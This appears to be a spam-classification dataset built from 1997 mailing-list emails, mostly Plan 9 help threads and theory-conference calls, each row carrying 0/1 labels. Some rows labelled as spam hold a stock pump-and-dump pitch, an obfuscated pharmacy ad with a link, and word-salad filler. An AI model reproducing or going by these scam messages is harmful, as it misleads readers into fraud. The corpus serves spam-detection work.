Gall, Vienna University of Technology, Austria Ric Holt, University of Toronto, Canada Daniel Jackson, Carnegie Mellon University, USA Robin Jeffries, SunSoft, Inc., USA Rene Kloesch, Vienna University of Technology, Austria Panos Linos, Tennessee Technological University, USA Ettore Merlo, Ecole Polytechnique, Canada Hausi A. Muller, University of Victoria, Canada Malcolm Munro, University of Durham, UK Jim Q. Ning, Andersen Consulting, USA Alex Quilici, University of Hawaii, USA Vaclav Rajlich, Wayne State University, USA Spencer Rugaber, Georgia Institute of Technology, USA Dennis Smith, Software Engineering Institute, USA Harry M. Sneed, SES, Germany Jorma Taramaa, VTT Electronics, Finland Scott Tilley, Software Engineering Institute, USA Maria Tortorella, University of Naples, Italy Marie Vans, Hewlett-Packard Co., USA Giuseppe Visaggio, University of bari, Italy Norman Wilde, University of Western Florida, USA Linda Wills, Georgia Institute of Technology, USA Hongji Yang, De Montfort University, UK ",0,1 Elena Lodi ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 26 Feb 1997 23:50:26 -0800",summer school Distributed Algorithms," 4th International Summer School on DISTRIBUTED ALGORITHMS AND FAULT-TOLERANCE June 16-21, 1997 University of Siena Certosa di Pontignano, Pontignano SIENA, ITALY The International Summer School on Distributed Algorithms is supported by University of Siena and Consiglio Nazionale delle Ricerche of Italy. It is intended primarily for graduated students and researchers interested in entering the research field of Distributed Algorithms. Each course comprises of formal lectures periods and of directed study-discussion periods. Upon request, students may be graded for proficency in any of the courses. Lecturers S. DOLEV, Ben Gurion, Israel C. DWORK, IBM Almaden, U.S.A. D. PELEG, Weizmann Institute, Israel S. ZAKS, Technion, Israel Topics SELF-STABILIZATION FAULT-TOLERANT DISTRIBUTED ALGORITHMS LOCALITY SENSITIVE DISTRIBUTED COMPUTING DISTRIBUTED GRAPH ALGORITHMS School Directors: Elena Lodi (Siena) and Nicola Santoro (Carleton) The school will take place at Certosa di Pontignano, 10km far from Siena, a beautiful medioeval town between Rome and Florence, where the Chianti wine is produced. Participants will also be offered organized activities. Registration and full board accomodation fee is Italian Liras 1,570,000 or US 1,000 (Italian Liras 1,100,000 or US 700 for full time students). Subject to funding availability, a limited number of scholarships will be granted. Attendance is limited to a maximum of 40 persons. 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Before you could get round Mirkwood in the North you would be right ",1,1 Thomas West ,9fans@cse.psu.edu,"Wed, 12 Mar 1997 14:55:17 +0000",need help on LISTEN,"I have a plan9 system and a unix system connected by an ethernet. I can telnet from the p9 to the unix (IRIX), but I can' telnet from the unix to the p9., or from p9 to itself. In both cases that fail I get ""Connection Refused"". I suppose this means the hardware is functional but there is a permission of some kind missing in the p9 system. I have tried quite a few combinations of arguments with aux/listen; it returns ""giving up on .."". Will some one please straighten me out? tnx ",0,0 sch@ncube.com,9fans@cse.psu.edu,"Wed, 12 Mar 1997 11:34:10 -0800",Re: need help on LISTEN,"is your plan9 system a CPU server or just a terminal (four disk set)? CPU server's are single user and don't accept connections. ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cse.psu.edu,"Wed, 12 Mar 1997 19:47:46 +0000",Re: need help on LISTEN,">>CPU server's are single user and don't accept connections. a typing mistake there: ``terminal'' was meant, not ``CPU server''. you can actually run aux/listen on a terminal, and even telnet in, but only as the terminal's owner (or possibly `none'). its use is rather specialised! ",0,0 Thomas West ,9fans@cse.psu.edu,"Wed, 12 Mar 1997 17:25:19 +0000",experiments w/ LISTEN,"following rsc, I did this: aux/listen tcp il result: could login as none , but not as a usr. Prompt was cpu% above command was followed by: aux/listen -t /bin/service result: could login as none but not as a usr. Could read other usr files, but not write them. Prompt was cpu% thanks to messrs Cox, Forsyth, and Hemminger ps: my p9 is cd version on 386 ",0,0 Norbert Schulz ,"crc@space.mit.edu, dd@space.mit.edu, dph@space.mit.edu, wise@space.mit.edu, hermanm@space.mit.edu, jhk@space.mit.edu, dsd@space.mit.edu, davis@space.mit.edu, kaf@space.mit.edu, baluta@space.mit.edu, houck@space.mit.edu","Thu, 13 Mar 1997 16:19:05 -0500",xrcfdata,"Folks, All ACIS-2C phase 2/F eventlists and related data are on disk now. The disk is here at MIT on space.mit.edu The data are in '/starburst/d2/aqlc1' for days 970218 to 970303 and '/starburst/d2/aqlc2' for days 970304 to 970311 Since I did the backup on /bulk/aqlc on mashine AQLC2 on XRCF 2nd floor I also copied a lot of low byte trash with it. I cleaned some, but not all of it. The data*.fits files in /starburst/d2/aqlc1 are example bias.files for all ccds and window modes. File data_F-I2C-RC-72.002s5.0104.fits is something for everybody to take home and frame. File fam_positions.dat in /starburst/d2/aqlc2 are the actual FAM positions during the sub-pixel tests. How to find data: EXAMPLE: 'ls /starburst/d2/aqlc1/970221' lists ""FOO FOOBAR R-I2C-PI-9.006 R-I2C-PI-9.006A catalog.gz ftp.txt.gz"" Forget about everything that doesn't look like a TRW-ID, which leaves two directories, "" R-I2C-PI-9.006 R-I2C-PI-9.006A"" The one with an ""A"" is usually a repeat at a later time with different input parameters 'ls /starburst/d2/aqlc1/970221/R-I2C-PI-9.006' lists an index_file, which cats all the event list names (used by the PSU quicklook) the avarage bias file (R-I2C-PI-9.006s1_bias_avg.fits.gz), and a data directories named after all the used sequence numbers, which in this case are s1 and s2 and s101, *.1 to *.6 belong to a single run but were hacked during processing. s2 and s101 are new data aquisitions after either aborting or extending s1 'ls /starburst/d2/aqlc1/970221/R-I2C-PI-9.006/s1.1' finally lists ""R-I2C-PI-9.006s1.1_evts.fits.gz R-I2C-PI-9.006s1.1_hk.fits.gz R-I2C-PI-9.006s1.1_oc_stat.dat.gz"" the actual data. The scientific data are in R-I2C-PI-9.006s1.1_evts.fits. PLEASE: If you don't use the PSU quicklook software, copy the eventlists onto a disk of your choice, it better not be one of mine, and THEN mess around as you wish, ok! Have fun, Norbert ",0,0 rsc@research.att.com,9fans@cse.psu.edu,"Sat, 15 Mar 1997 14:45:34 -0500",multiple ethernet?,"has anyone bothered fleshing out the plan 9 devether.c into a multiple ethernet card driver? ",0,0 Brittany Grundy ,9fans@cse.psu.edu,"Sat, 15 Mar 1997 19:29:11 -0500",bring back your memory,"a colloquial it bichromate it's chronograph try janitorial but debugging ",1,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Sun, 16 Mar 1997 09:54:10 -0500",re: multiple ethernet?,"it is on brazil. unfortunately that's pretty different than plan9. ------ forwarded message follows ------ >From cse.psu.edu!owner-9fans Sat Mar 15 15:11:43 EST 1997 Received: from cse.psu.edu by plan9; Sat Mar 15 15:11:43 EST 1997 Received: from localhost (majordom@localhost) by cse.psu.edu (8.8.5/8.7.3) with SMTP id OAA17305; Sat, 15 Mar 1997 14:47:14 -0500 (EST) Received: by claven.cse.psu.edu (bulk_mailer v1.5); Sat, 15 Mar 1997 14:46:58 -0500 Received: (from majordom@localhost) by cse.psu.edu (8.8.5/8.7.3) id OAA17272 for 9fans-outgoing; Sat, 15 Mar 1997 14:46:50 -0500 (EST) X-Authentication-Warning: claven.cse.psu.edu: majordom set sender to owner-9fans using -f Received: from plan9.att.com (H-135-205-33-215.research.att.com [135.205.33.215]) by cse.psu.edu (8.8.5/8.7.3) with SMTP id OAA17268 for <9fans@cse.psu.edu>; Sat, 15 Mar 1997 14:46:45 -0500 (EST) From: research.att.com!rsc Message-Id: <199703151946.OAA17268@cse.psu.edu> To: cse.psu.edu!9fans Date: Sat, 15 Mar 1997 14:45:34 -0500 Subject: multiple ethernet? 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The Company seeks to acquire properties with the following development criteria: largely unexplored but highly prospective geological regions, ability to generate near-term revenue and cash flow, tremendous geological potential for world-class economic deposits. ",1,0 Stephen Hocking ,9fans@cse.psu.edu,"Fri, 21 Mar 1997 08:36:41 +1000",Plan9 mentioned by id (again)," In John Carmack's .plan (for March 18), the following snippet can be found. Plan9 I spent a few months running Plan9. It has an achingly elegent internal structure, but a user interface that has been asleep for the past decade. I had an older version of quake dedicated server running on it (don't ask me for it -- I lost it somewhere) and I was writing a civilized window manager for it in my spare time, but my spare time turned out to be only a couple hours a month, and it just got prioritized out of existance. -- The views expressed above are not those of WorkCover Queensland, Australia. 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",0,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Fri, 21 Mar 1997 13:28:40 -0500",,"Russ Cox made it easier to add new keyboard sequences to plan 9. The pertinent files are: ftp://plan9.bell-labs.com/plan9/update/cmd/aux/mklatinkbd.c frp://plan9.bell-labs.com/plan9/update/9/port/858968110.rc Here's his mail explaining it: Subject: /lib/keyboard and latin1.c A while ago, Rob and I exchanged the attached email. It's a shame that editing /lib/keyboard doesn't work, so I fixed that. Take a look at ls /usr/rsc/kbd/mklatinkbd.c. The way I've installed it at home is to change latin1.c to read struct cvlist { char *ld; /* must be seen before using this conversion */ char *si; /* options for last input characters */ Rune *so; /* the corresponding Rune for each si entry */ } latintab[] = { #include ""latin1.h"" 0, 0, 0 }; and then have mkfile generate latin1.h with aux/mklatinkbd /lib/keyboard >latin1.h As an aside, I found two ``bugs'' in the keyboard file as shipped on the CD. The sequences <= and => are used for both ���, ��� and ���,���, according to /lib/keyboard. It looks like they've been fixed, at least on emelie (haven't checked elsewhere). The program will catch duplicate sequences. From rsc Fri Oct 25 08:36:01 1996 Subject: re: /lib/keyboard how does one add more compose sequences in plan 9? i tried editing /lib/keyboard and rebooting, but that did not work. From rob Fri Oct 25 09:02:01 1996 Subject: re: /lib/keyboard unfortunately, it's not nearly that easy. you need to edit /n/bootes/sys/src/9/port/latin1.c. you just edited the documentation, a rarely successful method of change.",0,0 rsc@research.att.com,9fans@cse.psu.edu,"Fri, 21 Mar 1997 13:44:00 -0500",mklatinkbd,"this doesn't appear to be in the boddle, and it's not 100% right in my message that presotto attached either. the changes to 9/port/portmkfile are to add the following lines: latin1.$O: ../port/latin1.h ../port/latin1.h: /lib/keyboard aux/mklatinkbd $prereq >$target russ ",0,0 David Hogan ,9fans@cse.psu.edu,"Sat, 22 Mar 1997 20:07:21 +1000",Re: Plan9 mentioned by id (again),"> Plan9 > I spent a few months running Plan9. It has an achingly elegent internal > structure, but a user interface that has been asleep for the past decade. I > had an older version of quake dedicated server running on it (don't ask me > for it -- I lost it somewhere) and I was writing a civilized window manager > for it in my spare time, but my spare time turned out to be only a couple > hours a month, and it just got prioritized out of existance. `Old Fashioned' Window Manager - small executable - synchronous, predictable behaviour - user interface based on simple, consistent design rules - responsive to user - works `out of the box' `Modern' Window Manager - huge executable - asynchronous, unpredictable behaviour - user interface based on whims of marketing division - machine thrashes every time user moves mouse - billions of configuration options that need to be set before it is even remotely usable There's no accounting for taste ;-) P.S. Curiously, this is just as true if we replace `Window Manager' with `Web Browser'... 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From: jm@pasteur.FR (Jean Mehat) Subject: (bad) surprise with the C compiler Summary: non-atomic operation on structures Date: Sat, 22 Mar 1997 17:29:48 GMT Organization: Institut Pasteur, Paris I was somewhat surprised when I realised that delta = Pt(-delta.y, delta.x) expanded as delta = (Point){-delta.y, delta.x} was actually equivalent to delta.x = -delta.y, delta.y = delta.x As you can suppose, it doesn't work as intended. -- Jean Mehat, universite de Paris 8 Vincennes a Saint Denis, jm@univ-paris8.fr, (33) 01 49 40 64 03, (33) 01 49 40 67 83 (fax) ",0,0 Donnell ,suresh@flamingo.stanford.edu,"Wen, Thu, 27 Mar 1997 12:11:56 -0900",Latest stuff C T X E Most reliable methods of stokc analysis increasing your bottom line ,"Current stokc data analyzed by experts for earning more Hello, My name is Walker. I told you about exploading stookcs before, and as you remember I was right. Please pay attention to what I say, becasuse next few days this stokc will explode significantly! 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Dead men tell no tales",1,0 Herman Geuvers ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 27 Mar 1997 23:37:54 -0800",CFP: School on Computational and Syntactic Methods August 1997,"Sorry if you receive this announcement more than once ------------------------------------------------------------ ANNOUNCEMENT and CALL FOR PARTICIPATION European Educational Forum School on COMPUTATIONAL and SYNTACTIC METHODS Mierlo, The Netherlands, August 11 -- 22, 1997 http://www.win.tue.nl/cs/ipa/activities/school.on.compsynmeth.0897.html GENERAL INFORMATION The School on Computational and Syntactic Methods is the second event organised by the European Educational Forum (EEF), a joint initiative of the three interuniversitary research schools BRICS (Basic Research In Computer Science) from Denmark, IPA (Institute for Programming research and Algorithmics) from the Netherlands, TUCS (TUrku centre for Computer Science) from Finland. The first EEF-event was the School on Embedded Systems, in November 1996; the third EEF-event will be the School on Natural Computing to be held in Turku, Finland, August 25 --29, 1997. The EEF organises a series of four `Summer Schools on Foundations of Computing Science', each covering specific parts of the Handbook of Logic in Computer Science (Eds. Abramsky, Gabbay and Maibaum, Oxford University Press). The relevant Handbook chapters are part of the course material. The first school in this series of four is this School on Computational and Syntactic Methods, to be held in Mierlo, close to Eindhoven in the south of the Netherlands. The school is sponsored by the EC via the TMR network ``Synergos'', so young researchers (up to 35 years of age) from the EC can apply for a grant, covering for part of the costs for travel and subsistance. PROGRAM FOR THE SCHOOL The program of the school consists of five courses. Each of the courses consists of lectures and exercise hours. Details of the precise schedule of the courses will be provided later. The courses to be given are: Term Rewriting - Klop (Amsterdam NL), Zantema (Utrecht NL) Type Systems - Barendregt (Nijmegen NL), Geuvers (Eindhoven NL) Models of Concurrency - Winskel, Nielsen (Aarhus DK) Effective Algebras - Tucker (Swansea UK), Stoltenberg-Hansen (Uppsala SE) Process Algebra - Baeten (Eindhoven NL), Verhoef (Amsterdam NL) COURSE MATERIAL The material will be handed out at the beginning of the course. It includes Volumes 2 and 4 of the Handbook of Logic in Computer Science (Eds. Abramsky, Gabbay and Maibaum, Oxford University Press)and furthermore some additional course notes and exercises. LOCATION AND ACCOMODATION Mierlo is a small city close to the city of Eindhoven, in the south of the Netherlands. Eindhoven is 1 hour and 50 minutes by train from Amsterdam Schiphol Airport. Eindhoven has its own small airport and good train connections with the rest of the Netherlands. The event takes place in the Conference Centre `de Brug' in Mierlo. Here you will find all facilities under one roof: hotel-rooms, restaurants, bars and a wide range of sports- and recreation facilities (such as bowling, squash and tennis courts, a swimming pool, sauna, fitnessroom, etc.). De Brug also provides a nice environment for cycling and hiking. The prices are: Dfl 1669,- per person, from August 11 till August 22 on a two-person bedroom. (Includes all meals and tea and coffee during the breaks.) An extra night before or after the meeting costs Dfl 83,-. For a one-person bedroom these prices are Dfl 1994,- and Dfl 127,-, respectively. Only a limited number of one-person bedrooms is available. The costs of your stay are to be paid to the Conferece Centre De Brug. The address of de Brug: Arkweg 3-17, 5731 PD Mierlo, NL Postbus 92 5730 AB Mierlo, NL Phone: +492 678911 Fax: +492 664895 REGISTRATION The registration fee covers the course material and the costs of social events. Moreover, for members of IPA, the registration fee also covers the cost of accommodation. Please REGISTER BEFORE June 1st 1997, by sending in the registration form. The registration fee covers the proceedings and the costs of social events. Moreover, for members of IPA, the registration fee also covers the cost of accommodation. Members of IPA(*): Dfl 500,-(After June 1, 1997: Dfl 600,-) Members of TUCS/BRICS(**): Dfl 300,- (After June 1, 1997: Dfl 400,-) Other(**) : Dfl 800,- (After June 1, 1997: Dfl 900,-) (*) Includes social event, course material and accommodation (**) Includes social event and course material GRANTS The School on Embedded Systems is sponsored by the European Union's TMR Euroconference Program. Grants can be applied to cover expenses of young researchers that wish to participate. + Who can apply? Young researchers (aged 35 years or under) on postgraduate or postdoctorate level who are citizens of European Union member states or associated countries (Iceland, Liechtenstein, Norway). + Which expenses are covered? Each grant covers at least 80% of the costs of travel, registration and accomodation. (Accomodation based on a two-person bedroom.) If there are more grants available than there have been applied for, this percentage may be higher. + How to apply? Please fill in the form Application for Grant (http://www.win.tue.nl/cs/ipa/activities/grantapp97.ps.gz + Deadline: Applications for grants should be sent in by June 15, 1997. + Notification: Applicants will be notified by July 1, 1997. In case more grants are applied for than available, the organisers will make a selection. FURTHER INFORMATION For further information, see the WWW-homepage: http://www.win.tue.nl/cs/ipa/activities/school.on.compsynmeth.0897.html or contact wsinti@win.tue.nl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (Send the form below to wsinti@win.tue.nl or by fax to +31-40-2463992 REGISTRATION FORM SCHOOL on COMPUTATIONAL and SYNTACTIC METHODS, 11-22 August 1997 First Name : Family Name: Prof.Dr.Mr.Ms.: Affiliation : Address : e-mail : tel: fax: Your identification as it should appear on your badge: Means of travel: Date of Arrival to Mierlo: Date of departure from Mierlo: Diet: Standard/Vegetarian (Delete where non applicable) Accomodation: [ ] I would like to share a room with : [ ] I would like to have a single room (this involves extra cost and there is only a limited number of one-person bedrooms) IPA-member : Yes/No (Delete where non applicable) If `No': member of the research school: Cross one of the two boxes below: [ ] I shall pay the registration fee when I arrive [ ] I shall pay the registration fee via bank-transfer to account no. 60.27.60.690 of IPA, Department of Math. and Comp. Science, Technological University Eindhoven The Netherlands ",0,1 Esteban Feuerstein ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 27 Mar 1997 23:42:38 -0800",WAIT'97 cfp," Preliminary Call for Papers WAIT'97 First Argentine Workshop on Theoretical Informatics Buenos Aires, Argentina August 11,1997 The workshop will take place as part of a bigger event, JAIIO'97, the 26th International Conference of the Argentine Computer Science and Operational Research Society (SADIO), and jointly with other symposia and tutorials organized by the VLDB Foundation. The aim of the workshop is to bring together academic and industrial researchers >From Argentina, South-America and the rest of the world to discuss theoretical, empirical and experimental results in the field of Theoretical Computer Science. The workshop will include invited talks and submitted works. Typical areas include (but are not limited to): Automata, Algorithms and Data Structures (sequential, parallel, distributed, on-line, probabilistic, etc.), Computational Complexity, Graphs, Symbolic and Algebraic Computation, Combinatorial and Algebraic Aspects of Computer Science and in general all subjects related to Computational Models. We invite to submit papers on any topic of Theoretical Computer Science. We solicit different classes of contributions, ranging from research papers to ongoing R+D projects from either academic or industrial organizations. Submissions will be reviewed by an International Program Committee for the criteria appropriate to their category: * Research/Experience Papers: Submissions on these categories will be reviewed for significance and originality. Extended abstracts or full long papers are required for submission deadline. Extended abstracts up to 4 pages long, giving enough detail to allow reviewers an understanding of the final paper, are requested. Full papers up to 12 pages long (including abstract, figures and references) can also be submitted. * Research Projects: With the goal of stimulating the knowledge and cooperation between national and regional research groups, we solicit short papers describing ongoing research projects. Originality is not required for this category (in this case, an explicit reference to where the work has been previously published or submitted must be given). * Industrial/Commercial Paper: WAIT'97 focuses also on experiences applying theoretical tools to real-life situations. We then encourage submission of short papers describing significant results for the industry by using novel and challenging applications of theoretical results. SUBMISSION INFORMATION: In order to enable a wide distribution of the papers, authors are encouraged to submit extended abstracts or short papers in English, although submissions in Spanish or Portuguese will also be considered. Papers must be submitted before May 16, 1997 in ghostview-readable PostScript format by e-mail to: wait97@dc.uba.ar. In addition, please send an ASCII file to the same address including the following information: work title, complete affiliation, e-mail address, telephone and FAX number of each author, abstract of the paper (up to 10 lines), a list of keywords describing the work, and the most likely category to be considered. Other forms of submission may be also considered, please contact the workshop co-chairs by e-mail for further information. The complete format for the camera-ready copy will be informed together with the acceptance letter. IMPORTANT DATES: Extended Abstracts and Short Papers due: May 16, 1997 Notification of Acceptance: June 20, 1997 Camera Ready due: July 10, 1997 SYMPOSIUM CO-CHAIRS Prof. Juan Echague Instituto de Computacion, Facultad de Ingenieria Universidad de la Republica J. Herrera y Reissig 565 Montevideo, Uruguay Tel: + 598-2-714244 Prof. Esteban Feuerstein Dpto. de Computacion -FCEN- Universidad de Buenos Aires Pabellon I - Ciudad Universitaria 1428 - Buenos Aires -ARGENTINA Tel/Fax : +54-1-783-0729 e-mail: efeuerst@dc.uba.ar PROGRAM COMMITTEE (preliminary) - Claudio Lucchesi (Univ. of Campinas, Brazil) - Josep Diaz (Universidad Politecnica de Catalu~a, Espa~a) - Juan Echague (Universidad de la Republica, Uruguay, and Universidad de La Plata, Argentina) - Esteban Feuerstein (Universidad de Buenos Aires and Universidad de General Sarmiento, Argentina) - Juan A. Garay (IBM Watson Research Center, USA) - Jan van Leeuwen (Utrecht University, The Netherlands) - Alfredo Olivero (Universidad de la Republica, Uruguay and Universidad de General Sarmiento, Argentina) - Patricio Poblete (Universidad de Chile, Chile) - Alfredo Viola (Universidad de la Republica, Montevideo) For further information about the workshop please send e-mail to wait97@sadio.edu.ar or write to: SADIO / WAIT'97 Uruguay 252 2D 1015 - Buenos Aires ARGENTINA TEL: +54-1-3715755/4763950 FAX: +54-1-3723950 ",0,0 Helene Kirchner ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 27 Mar 1997 23:43:10 -0800",CADE'14-Workshop on Strategies in AD,"[ You may possibly receive this message multiple times. We sincerely apologize for the inconvenience.] CALL FOR PARTICIPATION CADE-14 WORKSHOP ON STRATEGIES IN AUTOMATED DEDUCTION ================================= July 13, 1997 Townsville, Australia http://www.loria.fr/~gramlich/cade14-ws-strategies.html MOTIVATIONS The concept of strategy allows describing and guiding computations and deductions in automated theorem provers, proof checkers, logical frameworks. Strategies are used for various purposes, e.g.: - proof search in theorem proving, - combination of different proof techniques and computation paradigms, - program transformation, - development of heuristics for playing games and finding proofs. Deterministic computations or inference rule based deductions are not sufficient to capture every computation or proof development. A mechanism is needed for instance to formalise the search for different solutions, the check of context conditions, the request for user input to instantiate variables, the processing of subgoals in a particular order. Strategies are used to guide application of rules, but may also involve iteration, case analysis, deterministic and non-deterministic choices. One may want to program strategies, to transform them, to prove some property on the computations or the proofs that they describe. AIMS The workshop aims at gathering different experiences on the use of strategies, under various terminology (tactic, tactical, method, heuristic, proof planning...), and in various application domains (first-order, higher-order, inductive theorem proving, program transformation, operational semantics...). Based on these experiments, we will address and discuss several points: - Strategy languages: Which basic constructs are needed? Expressiveness versus efficiency? Meta-language versus reflexivity? Higher-order versus first-order syntax? - Computational models for proof systems with strategies: Architecture, modularity of such systems? How to deal with user-interaction, input-output? - Verification of strategies: Which properties are required for strategies? Fairness, (partial) completeness, termination, etc.? How to ensure and/or check them? SUBMISSIONS Participants interested in presenting their work are invited to send an extended abstract (5-10 pages) by e-mail submission of a postscript file to the organizers (strategy@loria.fr) before April 21, 1997. Participants interested in attending the workshop without giving a presentation should send a position paper (1-2 pages) mentioning interest in one or several aspects of the topics. Additional information will be available through http://www.loria.fr/~gramlich/cade14-ws-strategies.html Attendance is by invitation only. Workshop registration is to be done as part of registration of CADE-14. The early registration deadline for CADE-14 is May 12, 1997. IMPORTANT DATES Deadline for submissions: April 21, 1997 position paper or abstract by e-mail Notification of acceptance: May 5,1997 Postcript version for proceedings: June 6,1997 Workshop: July 13, 1997 ORGANIZERS Bernhard Gramlich Helene Kirchner CRIN & INRIA-Lorraine (France) e-mail: strategy@loria.fr Fax: 33 3 83 27 83 19 ",0,1 Kathy Knott ,naji@ic.EECS.Berkeley.EDU,"Fri, 28 Mar 1997 04:14:45 -0500",refresh my memory and mental energy,"be cellophane ! bonus may uplift some cornfield on atrium ",1,0 Idetta Argento ,suresh@flamingo.stanford.edu,"Fri, 28 Mar 1997 20:21:00 -0700",Re: your CtALlmS,"Hi V X P C A V L I a r I m A e A n o A b L v G a z L i I i R x a I e U t A c S n M ra http://www.slovikatoron.com many sorts from Lake-town, and at first they tried to use these. But when they struck the stone the handles splintered and jarred their arms cruelly, and the steel heads broke or bent like lead. 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Typical, but not exclusive, topics of interest include: - - Algorithms and data structure - - Category theory - - Complexity - - Computational algebra, biology, geometry, logic, and number theory - - Concurrency - - Distributed and parallel computing - - Formal semantics, specification, synthesis, and verification Original research papers are solicited. Submissions to CATS'98 this year will be again conducted electronically, and should be sent in standard Postscript format to cats98@cs.uwa.edu.au by the submission deadline. Authors unable to access e-mail may send 4 hard copies of their papers to Xuemin Lin -- CATS'98 Department of Computer Science University of Western Australia Crawley, Western Australia 6907 Australia E-mail: cats98@cs.uwa.edu.au http://www.cs.uwa.edu.au:80/~lxue/CATS98/index.html In both cases, confirmation of receipt will be given, in the case of a postscript submission, once the file has been successfully printed. Submissions should include an abstract, 3-6 key words, and the fax number and e-mail address of the corresponding author. The contribution of the paper should be clearly explained in both general and technical terms, and authors should make every effort to ensure the technical content of their papers is understandable by a broad audience. The paper (an extended abstract or full paper) should not exceed 15 A4 pages using 11 point or larger font. Submission of a paper should be regarded as an undertaking that, should the paper be accepted, at least one of the authors will attend the conference to present the work. Papers will be judged on originality, significance, correctness, and clarity. Accepted papers will be published in the proceedings of the Symposium, which will appear in the DMTCS series of Springer-Verlag. ========================================= INVITED SPEAKERS: Ming Li (University of Waterloo, Canada) Takeshi Tokuyama (IBM, Japan) ========================================= IMPORTANT DATES: Submission Deadline: Friday 15 August 1997. This is a hard deadline; submissions postmarked after this date will be returned. Author Notification: Friday 24 October 1997. Final Version: Friday 14 November 1997. Acceptance of papers for the conference will be conditional upon the registration of at least one of the authors by 21 November 1997. ========================================= GENERAL CHAIR: James Harland RMIT PROGRAM COMMITTEE CHAIR: Xuemin Lin UWA LOCAL CHAIR: Chi-Ping Tsang UWA STEERING COMMITTEE: John Crossley Monash University Peter Eades University of Newcastle James Harland RMIT Michael Johnson Macquarie University John Staples University of Queensland Harald Sondergaard University of Melbourne PROGRAM COMITTEE: Cristian Calude University of Auckland Hossam Elgindy University of Newcastle Matthew Hennessy University of Sussex Xuemin Lin University of Western Australia Bruce Maggs Carnegie-Mellon University Martin Odersky University of South Australia Hong Shen Griffith University Harald Sondergaard University of Melbourne Antonios Symvonis University of Sydney Tadao Takaoka University of Canterbury Ron van der Meyden University of Technology, Sydney Lusheng Wang City University of Hong Kong Sue Whitesides McGill University David Wolfram Australian National University ===================================== ADDRESS FOR ALL PAPER SUBMISSION CORRESPONDENCE Xuemin Lin -- CATS'98 Department of Computer Science University of Western Australia Crawley, Western Australia 6907 Australia Telephone: +61 9 380 3449 Facsimile: +61 9 380 1089 E-mail: cats98@cs.uwa.edu.au ===================================== ADDRESS FOR CORRESPONDENCE, OTHER THAN PAPER SUBMISSION, RELATED TO ANY CONFERENCE FORMING PART OF THE AUSTRALIAN COMPUTER SCIENCE WEEK ACSW'98 Information Department of Computer Science The University of Western Australia Crawley, Western Australia, 6907 Telephone: +61 9 380 2533 Email: acsw98info@cs.uwa.edu.au ORGANISING COMMITTEE CHAIR Chris McDonald Department of Computer Science The University of Western Australia Crawley, Western Australia, 6907 Email: chris@cs.uwa.edu.au ACSW'98 Hosts: Department of Computer Science, The University of Western Australia Department of Computer Science, Curtin University of Technology Department of Computer Science, Edith Cowan University Computer Science Programme, Murdoch University ",0,1 Peter Widmayer ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 03 Apr 1997 14:02:38 -0800",[Theory-A] SIROCCO '97 (Call for Papers),"******************************************************************* Sorry if you receive this message more than once ******************************************************************* CALL FOR PAPERS 4th International Colloquium on Structural Information and Communication Complexity (SIROCCO '97) Monte Verita', Ascona, Switzerland July 24-26, 1997 The 4th Colloquium on Structural Information and Communication Complexity will focus on the relationship between computing and communication, i.e., the study of those factors which are significant for the computability and the communication complexity of problems, and on the interplay between structure, knowledge and complexity in systems of communicating agents. The Colloquium is designed to bring together researchers interested in the fundamental principles underlying all computing through communication. It will be held at the Centro Stefano Franscini on Monte Verita' in the Italian-speaking part of Switzerland; Ascona is a lakeside resort in an alpine setting. Original papers are solicited on the interplay between structure (e.g., topology), knowledge and complexity in: - distributed computing - parallel computing - mobile computing - optical computing - interconnection networks - wireless networks - high-speed networks Topics of interest include (but are not limited to): * sense of direction * routing schemes * topological awareness and metric information * network topologies * structural properties and computability * topology-dependent communication, broadcasting and gossiping * complexity of constructing and maintaining structural information * communication complexity * models of communication The colloquium will comprise of position papers (outlining open problems, research directions, etc.), tutorials, and research papers. Electronic submissions consisting of a readable postscript file are strongly encouraged and should be sent to sirocco@scs.carleton.ca. (More information on electronic submission is available at the colloquium's web site: http://www.scs.carleton.ca/~sirocco.) For paper submissions authors should send 12 copies of an extended abstract of at most 15 pages, clearly indicating the type of submission (position, tutorial, research), to: SIROCCO '97 Carleton University School of Computer Science Ottawa, Ontario K1S 5B6 Canada The deadline for submission of papers is April 25. Authors will be notified regarding the acceptance of their papers by electronic mail by May 31. Authors should include their electronic address. Accepted abstracts will be distributed as a collection of colloquium papers available during the conference. The official proceedings will be published by Carleton Scientific and will be mailed to the participants afterwards. Program Committee: ---------------------------- Hans Bodlaender [Utrecht] Christos Kaklamanis [Patras] Danny Krizanc [Carleton] Bernard Mans [Macquarie] Ernst Mayr [Munich] Umberto Nanni [Rome] Jose' Rolim [Geneva] Arny Rosenberg [Amherst] Nicola Santoro [Carleton] Dominique Sotteau [Paris-Sud] Imrich Vrto [Bratislava] Peter Widmayer [ETH Zurich] Important Dates ---------------------------- Submission of Papers: April 25 Notification: May 31 Colloquium: July 24-26 Information --------------------------- email: sirocco@scs.carleton.ca www: http://www.scs.carleton.ca/~sirocco phone: 613-520-4333 fax: 613-520-4334 Organizing Committee ---------------------------- Colloquium Chair: Roger Wattenhofer [ETH Zurich] Program Chairs: Danny Krizanc [Carleton] and Peter Widmayer [ETH Zurich] Publicity Chair: Paola Flocchini [Montreal] Local Organization: Centro Stefano Franscini ",0,1 """Serena Wing-Yee Leung <""","""Naji S. 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Ctr.",0,0 Mark Williams ,brings@rpi.edu,"Fri, 11 Apr 1997 08:49:56 -0400",rsvp web site,"The url for some html file in the folder I created for you would be http://rsvp.rpi.edu/iai/some_file.html About the quizzes; sure, I can do that. We can keep it simple for now, but it the future I can automate the quizzes. Instead of creating an html document for each quiz, you can give me a specially formatted text file, and my web server will generate the html page automatically. I can also have the quiz cgi script log student answers, so you can look at the results too. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Mark Williams phone:(518)276-2917 Anderson Center fax: (518)276-4852 Rensselaer Polytechnic Institute email:markw@ciue.rpi.edu <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<",0,1 Angelita Spangler ,brings@rpi.edu,"Fri, 11 Apr 1997 16:56:22 